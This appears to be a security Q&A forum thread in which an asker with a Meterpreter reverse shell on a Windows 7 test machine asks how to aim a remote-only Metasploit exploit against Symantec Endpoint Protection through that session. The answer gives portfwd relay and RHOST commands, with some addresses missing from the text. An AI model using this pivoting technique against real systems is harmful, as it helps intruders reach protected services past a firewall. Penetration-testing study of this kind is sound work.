I have a test machine running:

  • Windows 7
  • Symantec Endpoint Protection.

The firewall only allows access to Symantec Endpoint Protection via

If I have gained a shell to the machine via windows/meterpreter/reverse_tcp.

And I have found a exploit to use against symantec, but the exploit is a remote one and only accepts RHOST and not SESSION.

Is there a way for my to provide a session instead of a remote IP for the exploit to work?

  • How about chaning the firewall settings? because you have access to the OS. Aug 2, 2016 at 12:27

1 Answer 1


Within your meterpreter forward the port from your local machine:

meterpreter > portfwd add –l 3389 –p 3389 –r
[*] Local TCP relay created: <->
meterpreter > background

Then set RHOST to

msf > set RHOST
msf > exploit

Docco here.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .